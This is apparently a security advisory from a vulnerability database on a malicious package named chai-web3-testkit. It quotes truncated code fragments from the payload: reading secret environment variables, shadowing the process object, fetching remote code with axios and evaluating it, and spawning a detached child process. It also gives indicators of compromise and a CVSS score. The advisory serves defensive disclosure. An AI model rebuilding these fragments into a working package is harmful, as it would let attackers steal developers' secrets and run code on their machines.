VDB
GCVE-110-OSM-2026-5810
GCVE-110-OSM-2026-5810
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code.
Entrypoint: src/index.js (main: ./src/index.js)
Payload: src/utils/swap.js
Key findings:
- Environment Variable Exfiltration in src/utils/swap.js: "process.env.DEV_SECRET_KEY;
const v = process.env.DEV_SECRET_VALUE;
let ..."
- Global Variable Shadowing in src/utils/swap.js: "const process = {"
- Fetch and Eval/Exec in src/utils/swap.js: "axios.get(src, { headers: { [k]: v } })).data.config;
const handler = new..."
- Shell Command Execution in src/index.js: "require("child_process")"
- Detached Child Process Payload in src/index.js: "spawn('node', [script, JSON.stringify(firstArg)], {
detached: true"
IOCs:
- urls: https://www.lazutkin.com/
- domains: www.lazutkin.com
- payloadFileHash: e985d5998e9ef8a84638f0b294bd8d9d239ed275760ac20b4713efc3badab450
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | chai-web3-testkit | all (affected) | — |
Aliases
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